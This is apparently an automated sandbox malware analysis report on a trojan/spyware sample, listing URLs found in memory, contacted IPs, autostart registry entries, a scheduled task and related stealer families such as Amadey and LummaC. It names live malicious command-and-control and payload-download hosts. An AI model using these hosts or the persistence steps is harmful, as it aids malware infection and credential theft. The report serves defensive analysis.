https://github.com/mozilla-services/screenshots	firefox.exe, 00000017.00000003.2983132390.000002882376F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2982268821.0000028823500000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2982443745.000002882371D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3112181338.0000028823900000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000003.2982699498.0000028823738000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2982871988.0000028823753000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3091500089.000002881F87B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureRequest	firefox.exe, 00000017.00000002.3093750856.0000028820AF0000.00000002.08000000.00040000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/quickSuggestSponsoredIndex	firefox.exe, 00000017.00000002.3123219764.000002882516E000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw&	f84005b97f.exe, 00000007.00000003.2812900969.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2944904365.0000000000F7C000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2947007476.0000000000F82000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://spocs.getpocket.com/userDISCOVERY_STREAM_CONFIG_CHANGE	firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://exslt.org/common	firefox.exe, 00000017.00000002.3088293494.000002881EE26000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ok.ru/	firefox.exe, 00000017.00000002.3091500089.000002881F8DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3126440245.0000028825CC3000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsThe	firefox.exe, 00000017.00000002.3093750856.0000028820AF0000.00000002.08000000.00040000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/itemsmoz-extension://987b	firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://exslt.org/dates-and-times	firefox.exe, 00000017.00000002.3088293494.000002881EE58000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/csvImport	firefox.exe, 00000017.00000002.3123219764.0000028825174000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/quickSuggestAllowPositionInSuggestions	firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature	firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/css/skin_1/modalContent.css?v=.VpiwkLAYt9r1&	f84005b97f.exe, 00000007.00000003.2812900969.00000000014D1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	7e96f85771.exe, 00000008.00000002.3168952289.0000000001482000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://lv.queniujq.cn	f84005b97f.exe, 00000009.00000003.2945007725.0000000000F39000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2945007725.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000002.2949821023.0000000000F49000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.cloudflare.com/5xx-error-landing	f84005b97f.exe, 00000007.00000003.2812942208.0000000001481000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000007.00000003.2812900969.00000000014C7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/javascript/webui/clientcom.js?v=qYlgdgWOD4Ng&amp	f84005b97f.exe, 00000007.00000003.2812900969.00000000014D1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	f84005b97f.exe, 00000007.00000003.2812900969.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2944904365.0000000000F7C000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2947007476.0000000000F82000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.bbc.co.uk/	firefox.exe, 00000017.00000002.3182405110.000037AF92204000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3163888580.000002882BA30000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/quickSuggestImpressionCapsSponsoredEnabled	firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	firefox.exe, 00000017.00000002.3143683785.000002882B2A2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822B1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3149714295.000002882B685000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822BBF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://detectportal.firefox.comP	firefox.exe, 00000017.00000002.3127499591.0000028825D1C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016	f84005b97f.exe, 00000007.00000003.2812900969.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2944904365.0000000000F7C000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2947007476.0000000000F82000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://static.adsafeprotected.com/firefox-etp-js	firefox.exe, 00000017.00000002.3119588541.00000288245BC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3091500089.000002881F803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3122697624.0000028824B03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3123219764.000002882510C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://checkout.steampowered.com/	f84005b97f.exe, 00000009.00000002.2949821023.0000000000F49000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	7e96f85771.exe, 00000008.00000002.3201117292.00000000299D1000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822B1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822BBF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822B4C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	7e96f85771.exe, 00000008.00000002.3201117292.00000000299D1000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822B1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822BBF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822B4C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_logo.png	f84005b97f.exe, 00000007.00000003.2812900969.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2944904365.0000000000F7C000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2947007476.0000000000F82000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://spocs.getpocket.com/	firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822B1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3149714295.000002882B685000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822BBF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3149714295.000002882B603000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ebay.comP	firefox.exe, 00000017.00000002.3180688170.000022DAD3C04000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.iqiyi.com/	firefox.exe, 00000017.00000002.3091500089.000002881F8DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3182405110.000037AF92204000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3163888580.000002882BA30000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3126440245.0000028825CC3000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/featureI	firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/javascript/profile.js?v=KkhJqW2NGKiM&l=engli	f84005b97f.exe, 00000007.00000003.2812900969.00000000014D1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://bugzilla.mozilla.org/show_bug.cgi?id=1584464	firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://help.steampowered.com/en/	f84005b97f.exe, 00000007.00000003.2812900969.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2944904365.0000000000F7C000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2947007476.0000000000F82000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	7e96f85771.exe, 00000008.00000002.3201117292.00000000299D1000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822B1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822BBF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822B4C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://yandex.com	firefox.exe, 00000017.00000002.3180688170.000022DAD3C04000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/itemsEndpoint	firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/javascript/applications/community/manifest.js?v=	f84005b97f.exe, 00000007.00000003.2813057343.0000000001437000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000007.00000003.2812900969.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2944904365.0000000000F7C000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2945007725.0000000000EFE000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2947007476.0000000000F82000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://steamcommunity.co	f84005b97f.exe, 00000007.00000003.2823560713.00000000014D5000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000007.00000002.2826347227.00000000014DA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://account.bellmedia.c	firefox.exe, 00000017.00000002.3137866600.0000028826C61000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/javascript/global.js?v=bOP7RorZq4_W&l=englis	f84005b97f.exe, 00000007.00000003.2812900969.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2944904365.0000000000F7C000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2947007476.0000000000F82000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://login.microsoftonline.com	firefox.exe, 00000017.00000002.3137866600.0000028826C61000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.43/lfons	skotes.exe, 00000006.00000002.3323108552.000000000095B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://broadcast.st.dl.eccdnx.com	f84005b97f.exe, 00000009.00000003.2945007725.0000000000F39000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2945007725.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000002.2949821023.0000000000F49000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryptiondocument.requestSto	firefox.exe, 00000017.00000002.3093750856.0000028820AF0000.00000002.08000000.00040000.00000000.sdmp	false		unknown
http://185.215.113.16/steam/random.exe4#	skotes.exe, 00000006.00000002.3323108552.000000000095B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/f0f51715-7f5e-48de-839	firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v	f84005b97f.exe, 00000007.00000003.2812900969.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2944904365.0000000000F7C000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2947007476.0000000000F82000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.zhihu.com/	firefox.exe, 00000017.00000002.3091500089.000002881F8DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3182405110.000037AF92204000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142479922.000002882B108000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3126440245.0000028825CC3000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.c.lencr.org/0	firefox.exe, 00000017.00000002.3149714295.000002882B64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3057540470.00000288244F9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	firefox.exe, 00000017.00000002.3149714295.000002882B64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3057540470.00000288244F9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.37e2b1563c6670f193.phption:	7e96f85771.exe, 00000008.00000002.3164480115.00000000009DB000.00000040.00000001.01000000.0000000A.sdmp	false		unknown
http://mozilla.org/#/properties/forceWaitHttpsRR	firefox.exe, 00000017.00000002.3123219764.000002882516E000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/autoFillAdaptiveHistoryMinCharsThreshold	firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/?t=ffab&q=	firefox.exe, 00000017.00000002.3163888580.000002882BAB0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3117080621.0000028824319000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com/workshop/	f84005b97f.exe, 00000007.00000003.2812900969.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2944904365.0000000000F7C000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2947007476.0000000000F82000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/javascript/applications/community/main.	f84005b97f.exe, 00000007.00000003.2823560713.00000000014D5000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000007.00000002.2826347227.00000000014DA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/css/skin_1/profilev2.css?v=gNE3gksLVEVa&l=en	f84005b97f.exe, 00000007.00000003.2812900969.00000000014D1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contile.services.mozilla.com/v1/tiles	firefox.exe, 00000017.00000002.3143683785.000002882B2A2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3089829933.000002881F2C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3142479922.000002882B153000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3119588541.0000028824503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3100093809.00000288230EC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://screenshots.firefox.com/	firefox.exe, 00000017.00000003.2982268821.0000028823500000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3109502622.0000028823575000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2982443745.000002882371D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3112181338.0000028823900000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000003.2982699498.0000028823738000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2982871988.0000028823753000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3091500089.000002881F87B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://gpuweb.github.io/gpuweb/	firefox.exe, 00000017.00000002.3142479922.000002882B1A1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/value/ad	firefox.exe, 00000017.00000002.3123219764.000002882516E000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://json-schema.org/draft-07/schema#-	firefox.exe, 00000017.00000003.3055688840.000002882E03C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3175463259.000002882E036000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.wykop.pl/	firefox.exe, 00000017.00000002.3182405110.000037AF92204000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3163888580.000002882BA30000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/css/skin_1/fatalerror.css?v=wctRWaBvNt2z&l=e	f84005b97f.exe, 00000009.00000003.2944904365.0000000000F7C000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2947007476.0000000000F82000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://vk.com/	firefox.exe, 00000017.00000002.3091500089.000002881F8DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3126440245.0000028825CC3000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://steamcommunity.com	f84005b97f.exe, 00000009.00000003.2944904365.0000000000F7C000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2945007725.0000000000EFE000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2947007476.0000000000F82000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/shared/css/shared_global.css?v=Ff_1prscqzeu&	f84005b97f.exe, 00000007.00000003.2812900969.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2944904365.0000000000F7C000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2947007476.0000000000F82000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingTrying	firefox.exe, 00000017.00000002.3093750856.0000028820AF0000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://spocs.getpocket.com/Endpoint	firefox.exe, 00000017.00000002.3091500089.000002881F8DF000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.olx.pl/	firefox.exe, 00000017.00000002.3182405110.000037AF92204000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142479922.000002882B108000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3163888580.000002882BA30000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mozilla.org/#/properties/dnsMaxAnyPriorityThreads	firefox.exe, 00000017.00000002.3123219764.000002882516E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3123219764.0000028825165000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/branches/anyOf/0/items/properties/ratio	firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
104.21.53.8	sergei-esenin.com	United States	13335	CLOUDFLARENETUS	true
185.215.113.37	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
34.107.221.82	prod.detectportal.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
35.244.181.201	prod.balrog.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
34.117.188.166	contile.services.mozilla.com	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
104.102.49.254	steamcommunity.com	United States	16625	AKAMAI-ASUS	true
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false
142.250.184.238	youtube.com	United States	15169	GOOGLEUS	false
34.160.144.191	prod.content-signature-chains.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1540827
Start date and time:	2024-10-24 08:36:11 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 31s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	46
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	g4Cyr2T5jq.exe renamed because original name is a hash value
Original Sample Name:	7d31fad9b219d539d3c5915dff14a669.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@68/46@76/12
EGA Information:	Successful, ratio: 50%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.13.186.250, 34.208.54.237, 44.231.229.39
Excluded domains from analysis (whitelisted): fs.microsoft.com, shavar.prod.mozaws.net, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, incoming.telemetry.mozilla.org, ctldl.windowsupdate.com, detectportal.prod.mozaws.net, aus5.mozilla.org, d.4.1.9.1.6.7.1.0.0.0.0.0.0.0.0.1.0.0.9.0.0.1.f.1.1.1.0.1.0.a.2.ip6.arpa, location.services.mozilla.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target g4Cyr2T5jq.exe, PID 5032 because it is empty
Execution Graph export aborted for target skotes.exe, PID 2724 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 3228 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:38:01	API Interceptor	151277x Sleep call for process: skotes.exe modified
02:38:16	API Interceptor	9x Sleep call for process: f84005b97f.exe modified
02:38:36	API Interceptor	284x Sleep call for process: num.exe modified
02:38:39	API Interceptor	106x Sleep call for process: 7e96f85771.exe modified
08:37:11	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
08:38:19	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run f84005b97f.exe C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe
08:38:28	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 7e96f85771.exe C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe
08:38:36	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 88edf6a100.exe C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe
08:38:44	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run num.exe C:\Users\user\AppData\Local\Temp\1001137001\num.exe
08:38:52	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run f84005b97f.exe C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe
08:39:01	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 7e96f85771.exe C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe
08:39:09	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 88edf6a100.exe C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe
08:39:18	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run num.exe C:\Users\user\AppData\Local\Temp\1001137001\num.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	msqT9atzYW.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
104.21.53.8	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
